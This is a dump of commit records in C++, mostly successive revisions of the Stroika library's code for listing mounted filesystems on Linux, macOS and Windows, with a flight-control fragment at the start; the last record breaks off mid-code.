matrix::Vector2f(&_position(0));\n\n\t} else if (!apply_brake) {\n\t\t\/* Don't use position setpoint *\/\n\t\t_pos_sp_xy = _pos_sp_xy * NAN;\n\t}\n}\n\nvoid FlightTaskManualPosition::_updateSetpoints()\n{\n\tFlightTaskManualAltitude::_updateSetpoints(); \/\/ get yaw and z setpoints\n\t_updateXYlock(); \/\/ check for position lock\n}\n\nbool FlightTaskManualPosition::update()\n{\n\t_scaleSticks();\n\t_updateSetpoints();\n\n\t_setPositionSetpoint(Vector3f(_pos_sp_xy(0), _pos_sp_xy(1), _pos_sp_z));\n\t_setVelocitySetpoint(Vector3f(_vel_sp_xy(0), _vel_sp_xy(1), _vel_sp_z));\n\t_setYawSetpoint(_yaw_sp);\n\t_setYawspeedSetpoint(_yaw_rate_sp);\n\t_setThrustSetpoint(Vector3f(NAN, NAN, NAN));\n\n\n\treturn true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2017. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Characters\/CString\/Utilities.h\"\n#include \"..\/..\/Characters\/String.h\"\n#include \"..\/..\/Characters\/StringBuilder.h\"\n#include \"..\/..\/Characters\/String_Constant.h\"\n#include \"..\/..\/DataExchange\/Variant\/CharacterDelimitedLines\/Reader.h\"\n#include \"..\/..\/Execution\/Finally.h\"\n#include \"..\/..\/Memory\/SmallStackBuffer.h\"\n\n#include \"FileInputStream.h\"\n\n#include \"MountedFilesystem.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::IO;\nusing namespace Stroika::Foundation::IO::FileSystem;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n#if qPlatform_Linux\nnamespace {\n Collection<MountedFilesystemType> ReadMountInfo_FromProcFSMounts_ ()\n {\n \/*\n * I haven't found this clearly documented yet, but it appears that a filesystem can be over-mounted.\n * See https:\/\/www.kernel.org\/doc\/Documentation\/filesystems\/ramfs-rootfs-initramfs.txt\n *\n * So the last one with a given mount point in the file wins.\n *\/\n Collection<MountedFilesystemType> results;\n DataExchange::Variant::CharacterDelimitedLines::Reader reader{{' ', '\\t'}};\n \/\/ Note - \/procfs files always unseekable\n static const String_Constant kProcMountsFileName_{L\"\/proc\/mounts\"};\n for (Sequence<String> line : reader.ReadMatrix (FileInputStream::mk (kProcMountsFileName_, FileInputStream::eNotSeekable))) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"in IO::FileSystem::{}::ReadMountInfo_FromProcFSMounts_ linesize=%d, line[0]=%s\", line.size (), line.empty () ? L\"\" : line[0].c_str ());\n#endif\n \/\/\n \/\/ https:\/\/www.centos.org\/docs\/5\/html\/5.2\/Deployment_Guide\/s2-proc-mounts.html\n \/\/\n \/\/ 1 - device name\n \/\/ 2 - mounted on\n \/\/ 3 - fstype\n \/\/\n if (line.size () >= 3) {\n String devName = line[0];\n \/\/ procfs\/mounts often contains symbolic links to device files\n \/\/ e.g. \/dev\/disk\/by-uuid\/e1d70192-1bb0-461d-b89f-b054e45bfa00\n if (devName.StartsWith (L\"\/\")) {\n IgnoreExceptionsExceptThreadAbortForCall (devName = IO::FileSystem::FileSystem::Default ().CanonicalizeName (devName));\n }\n String mountedAt = line[1];\n String fstype = line[2];\n result.Add (MountedFilesystemType{mountedAt, devName, fstype});\n }\n }\n return results;\n }\n}\n#elif qPlatform_Windows\nnamespace {\n Collection<MountedFilesystemType> GetMountedFilesystems_Windows_ ()\n {\n Collection<MountedFilesystemType> results{};\n TCHAR volumeNameBuf[1024];\n\n HANDLE hVol = INVALID_HANDLE_VALUE;\n auto&& cleanup = Execution::Finally ([&]() noexcept { if (hVol != INVALID_HANDLE_VALUE) { ::CloseHandle (hVol); } });\n\n for (HANDLE hVol = ::FindFirstVolume (volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf))); hVol != INVALID_HANDLE_VALUE;) {\n DWORD lpMaximumComponentLength;\n DWORD dwSysFlags;\n TCHAR fileSysNameBuf[1024];\n if (::GetVolumeInformation (volumeNameBuf, nullptr, static_cast<DWORD> (NEltsOf (volumeNameBuf)), nullptr, &lpMaximumComponentLength, &dwSysFlags, fileSysNameBuf, static_cast<DWORD> (NEltsOf (fileSysNameBuf)))) {\n MountedFilesystemType v;\n v.fFileSystemType = String::FromSDKString (fileSysNameBuf);\n v.fVolumeID = String::FromSDKString (volumeNameBuf);\n\n \/\/\/\n TCHAR volPathsBuf[10 * 1024];\n DWORD retLen = 0;\n DWORD x = ::GetVolumePathNamesForVolumeName (volumeNameBuf, volPathsBuf, static_cast<DWORD> (NEltsOf (volPathsBuf)), &retLen);\n if (x == 0) {\n DbgTrace (SDKSTR (\"Ignoring error getting paths (volume='%s')\"), volumeNameBuf);\n }\n else if (volPathsBuf[0] == 0) {\n \/\/ Ignore - unmounted!\n DbgTrace (SDKSTR (\"Ignoring unmounted filesystem (volume='%s')\"), volumeNameBuf);\n }\n else {\n for (const TCHAR* NameIdx = volPathsBuf; NameIdx[0] != L'\\0'; NameIdx += Characters::CString::Length (NameIdx) + 1) {\n v.fMountedOn = String::FromSDKString (NameIdx);\n results.Add (v);\n }\n }\n }\n\n \/\/ find next\n if (not::FindNextVolume (hVol, volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf)))) {\n ::FindVolumeClose (hVol);\n hVol = INVALID_HANDLE_VALUE;\n }\n }\n return results;\n }\n}\n#endif\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::MountedFilesystemType *********************\n ********************************************************************************\n *\/\nString MountedFilesystemType::ToString () const\n{\n StringBuilder sb;\n sb += L\"{\";\n sb += L\"Mounted-On: '\" + fMountedOn + L\"', \";\n sb += L\"Device-Path: '\" + fDevicePath + L\"', \";\n if (fFileSystemType) {\n sb += L\"FileSystem-Type: '\" + *fFileSystemType + L\"', \";\n }\n if (fVolumeID) {\n sb += L\"Volume-ID: '\" + *fVolumeID + L\"', \";\n }\n sb += L\"}\";\n return sb.str ();\n}\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::GetMountedFilesystems *********************\n ********************************************************************************\n *\/\nContainers::Collection<MountedFilesystemType> FileSystem::GetMountedFilesystems ()\n{\n#if qPlatform_Linux\n return ReadMountInfo_FromProcFSMounts_ ();\n#elif qPlatform_Windows\n return GetMountedFilesystems_Windows_ ();\n#else\n AssertNotImplemented ();\n return {};\n#endif\n}\n<commit_msg>improved IO::FileSystem::GetMountedFilesystems<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2017. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Characters\/CString\/Utilities.h\"\n#include \"..\/..\/Characters\/String.h\"\n#include \"..\/..\/Characters\/StringBuilder.h\"\n#include \"..\/..\/Characters\/String_Constant.h\"\n#include \"..\/..\/DataExchange\/Variant\/CharacterDelimitedLines\/Reader.h\"\n#include \"..\/..\/Execution\/Finally.h\"\n#include \"..\/..\/Memory\/SmallStackBuffer.h\"\n\n#include \"FileInputStream.h\"\n#include \"FileSystem.h\"\n\n#include \"MountedFilesystem.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::IO;\nusing namespace Stroika::Foundation::IO::FileSystem;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\nnamespace {\n \/* \n * Something like this is used on many unix systems.\n *\/\n Collection<MountedFilesystemType> ReadMountInfo_MTabLikeFile_ (const String& filename)\n {\n \/*\n * I haven't found this clearly documented yet, but it appears that a filesystem can be over-mounted.\n * See https:\/\/www.kernel.org\/doc\/Documentation\/filesystems\/ramfs-rootfs-initramfs.txt\n *\n * So the last one with a given mount point in the file wins.\n *\/\n Collection<MountedFilesystemType> results;\n DataExchange::Variant::CharacterDelimitedLines::Reader reader{{' ', '\\t'}};\n \/\/ Note - \/procfs files always unseekable\n for (Sequence<String> line : reader.ReadMatrix (FileInputStream::mk (filename, FileInputStream::eNotSeekable))) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"in IO::FileSystem::{}::ReadMountInfo_MTabLikeFile_ linesize=%d, line[0]=%s\", line.size (), line.empty () ? L\"\" : line[0].c_str ());\n#endif\n \/\/\n \/\/ https:\/\/www.centos.org\/docs\/5\/html\/5.2\/Deployment_Guide\/s2-proc-mounts.html\n \/\/\n \/\/ 1 - device name\n \/\/ 2 - mounted on\n \/\/ 3 - fstype\n \/\/\n if (line.size () >= 3) {\n String devName = line[0];\n \/\/ procfs\/mounts often contains symbolic links to device files\n \/\/ e.g. \/dev\/disk\/by-uuid\/e1d70192-1bb0-461d-b89f-b054e45bfa00\n if (devName.StartsWith (L\"\/\")) {\n IgnoreExceptionsExceptThreadAbortForCall (devName = IO::FileSystem::FileSystem::Default ().CanonicalizeName (devName));\n }\n String mountedAt = line[1];\n String fstype = line[2];\n results.Add (MountedFilesystemType{mountedAt, devName, fstype});\n }\n }\n return results;\n }\n}\n#if qPlatform_Linux\nnamespace {\n Collection<MountedFilesystemType> ReadMountInfo_FromProcFSMounts_ ()\n {\n static const String_Constant kProcMountsFileName_{L\"\/proc\/mounts\"};\n return ReadMountInfo_MTabLikeFile_ (ReadMountInfo_FromProcFSMounts_);\n }\n}\n#endif\n#if qPlatform_Linux or qPlatform_MacOS\nnamespace {\n Collection<MountedFilesystemType> ReadMountInfo_ETC_MTAB_ ()\n {\n static const String_Constant kProcMountsFileName_{L\"\/etc\/mtab\"};\n return ReadMountInfo_MTabLikeFile_ (kProcMountsFileName_);\n }\n}\n#endif\n#if qPlatform_Windows\nnamespace {\n Collection<MountedFilesystemType> GetMountedFilesystems_Windows_ ()\n {\n Collection<MountedFilesystemType> results{};\n TCHAR volumeNameBuf[1024];\n\n HANDLE hVol = INVALID_HANDLE_VALUE;\n auto&& cleanup = Execution::Finally ([&]() noexcept { if (hVol != INVALID_HANDLE_VALUE) { ::CloseHandle (hVol); } });\n\n for (HANDLE hVol = ::FindFirstVolume (volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf))); hVol != INVALID_HANDLE_VALUE;) {\n DWORD lpMaximumComponentLength;\n DWORD dwSysFlags;\n TCHAR fileSysNameBuf[1024];\n if (::GetVolumeInformation (volumeNameBuf, nullptr, static_cast<DWORD> (NEltsOf (volumeNameBuf)), nullptr, &lpMaximumComponentLength, &dwSysFlags, fileSysNameBuf, static_cast<DWORD> (NEltsOf (fileSysNameBuf)))) {\n MountedFilesystemType v;\n v.fFileSystemType = String::FromSDKString (fileSysNameBuf);\n v.fVolumeID = String::FromSDKString (volumeNameBuf);\n\n \/\/\/\n TCHAR volPathsBuf[10 * 1024];\n DWORD retLen = 0;\n DWORD x = ::GetVolumePathNamesForVolumeName (volumeNameBuf, volPathsBuf, static_cast<DWORD> (NEltsOf (volPathsBuf)), &retLen);\n if (x == 0) {\n DbgTrace (SDKSTR (\"Ignoring error getting paths (volume='%s')\"), volumeNameBuf);\n }\n else if (volPathsBuf[0] == 0) {\n \/\/ Ignore - unmounted!\n DbgTrace (SDKSTR (\"Ignoring unmounted filesystem (volume='%s')\"), volumeNameBuf);\n }\n else {\n for (const TCHAR* NameIdx = volPathsBuf; NameIdx[0] != L'\\0'; NameIdx += Characters::CString::Length (NameIdx) + 1) {\n v.fMountedOn = String::FromSDKString (NameIdx);\n results.Add (v);\n }\n }\n }\n\n \/\/ find next\n if (not::FindNextVolume (hVol, volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf)))) {\n ::FindVolumeClose (hVol);\n hVol = INVALID_HANDLE_VALUE;\n }\n }\n return results;\n }\n}\n#endif\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::MountedFilesystemType *********************\n ********************************************************************************\n *\/\nString MountedFilesystemType::ToString () const\n{\n StringBuilder sb;\n sb += L\"{\";\n sb += L\"Mounted-On: '\" + fMountedOn + L\"', \";\n sb += L\"Device-Path: '\" + fDevicePath + L\"', \";\n if (fFileSystemType) {\n sb += L\"FileSystem-Type: '\" + *fFileSystemType + L\"', \";\n }\n if (fVolumeID) {\n sb += L\"Volume-ID: '\" + *fVolumeID + L\"', \";\n }\n sb += L\"}\";\n return sb.str ();\n}\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::GetMountedFilesystems *********************\n ********************************************************************************\n *\/\nContainers::Collection<MountedFilesystemType> IO::FileSystem::GetMountedFilesystems ()\n{\n#if qPlatform_Linux\n return ReadMountInfo_FromProcFSMounts_ ();\n#elif qPlatform_MacOS\n return ReadMountInfo_ETC_MTAB_ ();\n#elif qPlatform_Windows\n return GetMountedFilesystems_Windows_ ();\n#else\n AssertNotImplemented ();\n return {};\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2017. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#if qPlatform_Linux\n#include <poll.h>\n#elif qPlatform_Windows\n#include <Windows.h>\n#include <winioctl.h>\n#endif\n\n#include \"..\/..\/Characters\/CString\/Utilities.h\"\n#include \"..\/..\/Characters\/Format.h\"\n#include \"..\/..\/Characters\/String.h\"\n#include \"..\/..\/Characters\/StringBuilder.h\"\n#include \"..\/..\/Characters\/String_Constant.h\"\n#include \"..\/..\/Characters\/ToString.h\"\n#include \"..\/..\/DataExchange\/Variant\/CharacterDelimitedLines\/Reader.h\"\n#include \"..\/..\/Execution\/Finally.h\"\n#include \"..\/..\/Execution\/Synchronized.h\"\n#include \"..\/..\/Memory\/SmallStackBuffer.h\"\n\n#include \"FileInputStream.h\"\n#include \"FileSystem.h\"\n\n#include \"MountedFilesystem.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::IO;\nusing namespace Stroika::Foundation::IO::FileSystem;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\/\/#define qUseWATCHER_ 1\n#ifndef qUseWATCHER_\n#define qUseWATCHER_ qPlatform_POSIX\n#endif\n\n#if qUseWATCHER_\nnamespace {\n \/\/ experimental basis for file watcher\n struct Watcher_ {\n int mfd;\n Watcher_ (const String& fn)\n : mfd (::open (fn.AsNarrowSDKString ().c_str (), O_RDONLY, 0))\n {\n }\n ~Watcher_ ()\n {\n ::close (mfd);\n }\n\n bool IsNewAvail () const\n {\n struct pollfd pfd;\n int rv;\n int changes = 0;\n pfd.fd = mfd;\n pfd.events = POLLERR | POLLPRI;\n pfd.revents = 0;\n if ((rv = poll (&pfd, 1, 5)) >= 0) {\n if (pfd.revents & POLLERR) {\n return true;\n }\n }\n }\n };\n}\n#endif\n\nnamespace {\n \/* \n * Something like this is used on many unix systems.\n *\/\n Collection<MountedFilesystemType> ReadMountInfo_MTabLikeFile_ (const Streams::InputStream<Memory::Byte>& readStream)\n {\n \/*\n * I haven't found this clearly documented yet, but it appears that a filesystem can be over-mounted.\n * See https:\/\/www.kernel.org\/doc\/Documentation\/filesystems\/ramfs-rootfs-initramfs.txt\n *\n * So the last one with a given mount point in the file wins.\n *\/\n Collection<MountedFilesystemType> results;\n DataExchange::Variant::CharacterDelimitedLines::Reader reader{{' ', '\\t'}};\n for (Sequence<String> line : reader.ReadMatrix (readStream)) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"in IO::FileSystem::{}::ReadMountInfo_MTabLikeFile_ linesize=%d, line[0]=%s\", line.size (), line.empty () ? L\"\" : line[0].c_str ());\n#endif\n \/\/\n \/\/ https:\/\/www.centos.org\/docs\/5\/html\/5.2\/Deployment_Guide\/s2-proc-mounts.html\n \/\/\n \/\/ 1 - device name\n \/\/ 2 - mounted on\n \/\/ 3 - fstype\n \/\/\n if (line.size () >= 3) {\n String devName = line[0];\n \/\/ procfs\/mounts often contains symbolic links to device files\n \/\/ e.g. \/dev\/disk\/by-uuid\/e1d70192-1bb0-461d-b89f-b054e45bfa00\n if (devName.StartsWith (L\"\/\")) {\n IgnoreExceptionsExceptThreadAbortForCall (devName = IO::FileSystem::FileSystem::Default ().CanonicalizeName (devName));\n }\n String mountedAt = line[1];\n String fstype = line[2];\n results.Add (MountedFilesystemType{mountedAt, Set<String>{devName}, fstype});\n }\n }\n return results;\n }\n}\n#if qPlatform_Linux\nnamespace {\n Collection<MountedFilesystemType> ReadMountInfo_FromProcFSMounts_ ()\n {\n \/\/ Note - \/procfs files always unseekable\n static const String_Constant kUseFile2List_{L\"\/proc\/mounts\"};\n#if qUseWATCHER_\n static const Watcher_ sWatcher_{kUseFile2List_};\n static Execution::Syncrhonized<Collection<MountedFilesystemType>> sLastResult_;\n static bool sFirstTime_{true};\n if (sFirstTime_ or sWatcher_.IsNewAvail ()) {\n sLastResult_ = ReadMountInfo_MTabLikeFile_ (FileInputStream::mk (kUseFile2List_, FileInputStream::eNotSeekable));\n }\n return sLastResult_;\n#else\n return ReadMountInfo_MTabLikeFile_ (FileInputStream::mk (kUseFile2List_, FileInputStream::eNotSeekable));\n#endif\n }\n}\n#endif\n#if qPlatform_Linux\nnamespace {\n Collection<MountedFilesystemType> ReadMountInfo_ETC_MTAB_ ()\n {\n \/\/ Note - \/procfs files always unseekable and this is sklink to \/procfs\n static const String_Constant kUseFile2List_{L\"\/etc\/mtab\"};\n return ReadMountInfo_MTabLikeFile_ (FileInputStream::mk (kUseFile2List_, FileInputStream::eNotSeekable));\n }\n}\n#endif\n#if qPlatform_Windows\nnamespace {\n using DynamicDiskIDType = String;\n static String GetPhysNameForDriveNumber_ (unsigned int i)\n {\n \/\/ This format is NOT super well documented, and was mostly derived from reading the remarks section\n \/\/ of https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa363216%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396\n \/\/ (DeviceIoControl function)\n return Characters::Format (L\"\\\\\\\\.\\\\PhysicalDrive%d\", i);\n }\n Optional<Set<DynamicDiskIDType>> GetDisksForVolume_ (String volumeName)\n {\n wchar_t volPathsBuf[10 * 1024] = {0};\n DWORD retLen = 0;\n DWORD x = ::GetVolumePathNamesForVolumeNameW (volumeName.c_str (), volPathsBuf, static_cast<DWORD> (NEltsOf (volPathsBuf)), &retLen);\n if (x == 0 or retLen <= 1) {\n return Set<String> ();\n }\n Assert (1 <= Characters::CString::Length (volPathsBuf) and Characters::CString::Length (volPathsBuf) < NEltsOf (volPathsBuf));\n volumeName = L\"\\\\\\\\.\\\\\" + String::FromSDKString (volPathsBuf).CircularSubString (0, -1);\n\n \/\/ @todo - rewrite this - must somehow otherwise callocate this to be large enuf (dynamic alloc) - if we want more disk exents, but not sure when that happens...\n VOLUME_DISK_EXTENTS volumeDiskExtents;\n {\n \/*\n * For reasons I don't understand (maybe a hit at http:\/\/superuser.com\/questions\/733687\/give-regular-user-permission-to-access-physical-drive-on-windows)\n * this only works with admin privilges\n *\/\n HANDLE hHandle = ::CreateFileW (volumeName.c_str (), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n if (hHandle == INVALID_HANDLE_VALUE) {\n return {};\n }\n DWORD dwBytesReturned = 0;\n BOOL bResult = ::DeviceIoControl (hHandle, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, NULL, 0, &volumeDiskExtents, sizeof (volumeDiskExtents), &dwBytesReturned, NULL);\n ::CloseHandle (hHandle);\n if (not bResult) {\n return {};\n }\n }\n Set<DynamicDiskIDType> result;\n for (DWORD n = 0; n < volumeDiskExtents.NumberOfDiskExtents; ++n) {\n PDISK_EXTENT pDiskExtent = &volumeDiskExtents.Extents[n];\n result.Add (GetPhysNameForDriveNumber_ (pDiskExtent->DiskNumber));\n }\n return result;\n }\n\n Collection<MountedFilesystemType> GetMountedFilesystems_Windows_ ()\n {\n Collection<MountedFilesystemType> results{};\n TCHAR volumeNameBuf[1024];\n\n HANDLE hVol = INVALID_HANDLE_VALUE;\n auto&& cleanup = Execution::Finally ([&]() noexcept { if (hVol != INVALID_HANDLE_VALUE) { ::CloseHandle (hVol); } });\n\n for (HANDLE hVol = ::FindFirstVolume (volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf))); hVol != INVALID_HANDLE_VALUE;) {\n DWORD lpMaximumComponentLength;\n DWORD dwSysFlags;\n TCHAR fileSysNameBuf[1024];\n if (::GetVolumeInformation (volumeNameBuf, nullptr, static_cast<DWORD> (NEltsOf (volumeNameBuf)), nullptr, &lpMaximumComponentLength, &dwSysFlags, fileSysNameBuf, static_cast<DWORD> (NEltsOf (fileSysNameBuf)))) {\n MountedFilesystemType v;\n v.fFileSystemType = String::FromSDKString (fileSysNameBuf);\n v.fVolumeID = String::FromSDKString (volumeNameBuf);\n v.fDevicePaths = GetDisksForVolume_ (volumeNameBuf);\n\n \/\/\/\n TCHAR volPathsBuf[10 * 1024];\n DWORD retLen = 0;\n DWORD x = ::GetVolumePathNamesForVolumeName (volumeNameBuf, volPathsBuf, static_cast<DWORD> (NEltsOf (volPathsBuf)), &retLen);\n if (x == 0) {\n DbgTrace (SDKSTR (\"Ignoring error getting paths (volume='%s')\"), volumeNameBuf);\n }\n else if (volPathsBuf[0] == 0) {\n \/\/ Ignore - unmounted!\n DbgTrace (SDKSTR (\"Ignoring unmounted filesystem (volume='%s')\"), volumeNameBuf);\n }\n else {\n for (const TCHAR* NameIdx = volPathsBuf; NameIdx[0] != L'\\0'; NameIdx += Characters::CString::Length (NameIdx) + 1) {\n v.fMountedOn = String::FromSDKString (NameIdx);\n results.Add (v);\n }\n }\n }\n\n \/\/ find next\n if (not::FindNextVolume (hVol, volumeNameBuf, static_cast<DWORD> (NEltsOf (volumeNameBuf)))) {\n ::FindVolumeClose (hVol);\n hVol = INVALID_HANDLE_VALUE;\n }\n }\n return results;\n }\n}\n#endif\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::MountedFilesystemType *********************\n ********************************************************************************\n *\/\nString MountedFilesystemType::ToString () const\n{\n StringBuilder sb;\n sb += L\"{\";\n sb += L\"Mounted-On: '\" + fMountedOn + L\"', \";\n if (fDevicePaths) {\n sb += L\"Device-Paths: \" + Characters::ToString (*fDevicePaths) + L\", \";\n }\n if (fFileSystemType) {\n sb += L\"FileSystem-Type: '\" + *fFileSystemType + L\"', \";\n }\n if (fVolumeID) {\n sb += L\"Volume-ID: '\" + *fVolumeID + L\"', \";\n }\n sb += L\"}\";\n return sb.str ();\n}\n\n\/*\n ********************************************************************************\n ******************** IO::FileSystem::GetMountedFilesystems *********************\n ********************************************************************************\n *\/\nContainers::Collection<MountedFilesystemType> IO::FileSystem::GetMountedFilesystems ()\n{\n#if qPlatform_Linux\n return ReadMountInfo_FromProcFSMounts_ ();\n#elif qPlatform_Windows\n return GetMountedFilesystems_Windows_ ();\n#else\n AssertNotImplemented ();\n return {};\n#endif\n}\n<commit_msg>enable\/tweak\/fix new faster watcher code for mounted filesystems for Linux<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2017. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#if qPlatform_Linux\n#include <fcntl.h>\n#include <poll.h>\n#include <unistd.h>\n#elif qPlatform_Windows\n#include <Windows.h>\n#include <winioctl.h>\n#endif\n\n#include \"..\/..\/Characters\/CString\/Utilities.h\"\n#include \"..\/..\/Characters\/Format.h\"\n#include \"..\/..\/Characters\/String.h\"\n#include \"..\/..\/Characters\/StringBuilder.h\"\n#include \"..\/..\/Characters\/String_Constant.h\"\n#include \"..\/..\/Characters\/ToString.h\"\n#include \"..\/..\/DataExchange\/Variant\/CharacterDelimitedLines\/Reader.h\"\n#include \"..\/..\/Execution\/Finally.h\"\n#include \"..\/..\/Execution\/Synchronized.h\"\n#include \"..\/..\/Memory\/SmallStackBuffer.h\"\n\n#include \"FileInputStream.h\"\n#include \"FileSystem.h\"\n\n#include \"MountedFilesystem.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::IO;\nusing namespace Stroika::Foundation::IO::FileSystem;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n#ifndef qUseWATCHER_\n#define qUseWATCHER_ qPlatform_POSIX\n#endif\n\n#if qUseWATCHER_\nnamespace {\n \/\/ experimental basis for file watcher\n struct Watcher_ {\n int mfd;\n Watcher_ (const String& fn)\n : mfd (::open (fn.AsNarrowSDKString ().c_str (), O_RDONLY, 0))\n {\n }\n ~Watcher_ ()\n {\n ::close (mfd);\n }\n\n bool IsNewAvail () const\n {\n \/\/ according to http:\/\/stackoverflow.com\/questions\/5070801\/monitoring-mount-point-changes-via-proc-mounts\n \/\/ have to use poll with POLLPRI | POLLERR flags\n struct pollfd pfd;\n int rv;\n int changes = 0;\n pfd.fd = mfd;\n pfd.events = POLLERR | POLLPRI;\n pfd.revents = 0;\n if ((rv = poll (&pfd, 1, 0)) >= 0) {\n if (pfd.revents & POLLERR) {\n return true;\n }\n }\n return false;\n }\n };\n}\n#endif\n\nnamespace {\n \/* \n * Something like this is used on many unix systems.\n *\/\n Collection<MountedFilesystemType> ReadMountInfo_MTabLikeFile_ (const Streams::InputStream<Memory::Byte>& readStream)\n {\n \/*\n * I haven't found this clearly documented yet, but it appears that a filesystem can be over-mounted.\n * See https:\/\/www.kernel.org\/doc\/Documentation\/filesystems\/ramfs-rootfs-initramfs.txt\n *\n * So the last one with a given mount point in the file wins.\n *\/\n Collection<MountedFilesystemType> results;\n DataExchange::Variant::CharacterDelimitedLines::Reader reader{{' ', '\\t'}};\n for (Sequence<String> line : reader.ReadMatrix (readStream)) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"in IO::FileSystem::{}::ReadMountInfo_MTabLikeFile_ linesize=%d, line[0]=%s\", line.size (), line.empty () ? L\"\" : line[0].c_str ());\n#endif\n \/\/\n \/\/ https:\/\/www.centos.org\/docs\/5\/html\/5.2\/Deployment_Guide\/s2-proc-mounts.html\n \/\/\n \/\/ 1 - device name\n \/\/ 2 - mounted on\n \/\/ 3 - fstype\n \/\/\n if (line.size () >= 3) {\n String devName = line[0];\n \/\/ procfs\/mounts often contains symbolic links to device files\n \/\/ e.g. \/dev\/disk\/by-uuid\/e1d70192-1bb0-461d-b89f-b054e45bfa00\n if (devName.StartsWith (L\"\/\")) {\n IgnoreExceptionsExceptThreadAbortForCall (devName = IO::FileSystem::FileSystem::Default ().CanonicalizeName (devName));\n }\n String mountedAt = line[1];\n String fstype = line[2];\n results.Add (MountedFilesystemType{mountedAt, Set<String>{devName}, fstype});\n }\n }\n return results;\n }\n}\n#if qPlatform_Linux\nnamespace {\n Collection<MountedFilesystemType> ReadMountInfo_FromProcFSMounts_ ()\n {\n \/\/ Note - \/procfs files always unseekable\n static const String_Constant kUseFile2List_{L\"\/proc\/mounts\"};\n#if qUseWATCHER_\n static const Watcher_ sWatcher_{kUseFile2List_};\n static Execution::Synchronized<Collection<MountedFilesystemType>> sLastResult_;\n static bool sFirstTime_{true};\n if (sFirstTime_ or sWatcher_.IsNewAvail ()) {\n sLastResult_ = ReadMountInfo_MTabLikeFile_ (FileInputStream::mk (kUseFile2List_, FileInputStream::eNotSeekable));\n sFirstTime_ = false;\n }\n return sLastResult_;\n#else\n return ReadMountInfo_MTabLikeFile_ (FileInputStream::mk (kUseFile2List_, FileInputStream::eNotSeekable));\n#endif\n }\n}\n#endif\n#if qPlatform_Linux\nnamespace {\n Collection<MountedFilesystemType> ReadMountInfo_ETC_MTAB_ ()\n {\n \/\/ Note - \/procfs files always unseekable and this is sklink to \/procfs\n static const String_Constant kUseFile2List_{L\"\/etc\/mtab\"};\n return ReadMountInfo_MTabLikeFile_ (FileInputStream::mk (kUseFile2List_, FileInputStream::eNotSeekable));\n }\n}\n#endif\n#if qPlatform_Windows\nnamespace {\n using DynamicDiskIDType = String;\n static String GetPhysNameForDriveNumber_ (unsigned int i)\n {\n \/\/ This format is NOT super well documented, and was mostly derived from reading the remarks section\n \/\/ of https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa363216%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396\n \/\/ (DeviceIoControl function)\n return Characters::Format (L\"\\\\\\\\.\\\\PhysicalDrive%d\", i);\n }\n Optional<Set<DynamicDiskIDType>> GetDisksForVolume_ (String volumeName)\n {\n wchar_t volPathsBuf[10 * 1024] = {0};\n DWORD retLen = 0;\n DWORD x = ::GetVolumePathNamesForVolumeNameW (volumeName.c_str (), volPathsBuf, static_cast<DWORD> (NEltsOf (volPathsBuf)), &retLen);\n if (x == 0 or retLen <= 1) {\n return Set<String> ();\n }\n Assert (1 <= Characters::CString::Length (volPathsBuf) and Characters::CString::Length (volPathsBuf) < NEltsOf (volPathsBuf));\n volumeName = L\"\\\\\\\\.\\\\\" + String::FromSDKString (volPathsBuf).CircularSubString (0, -1);\n\n \/\/ @todo - rewrite this - must somehow otherwise callocate this to be large enuf (dynamic alloc) - if we want more disk exents, but not sure when that happens...\n VOLUME_DISK_EXTENTS volumeDiskExtents;\n {\n \/*\n * For 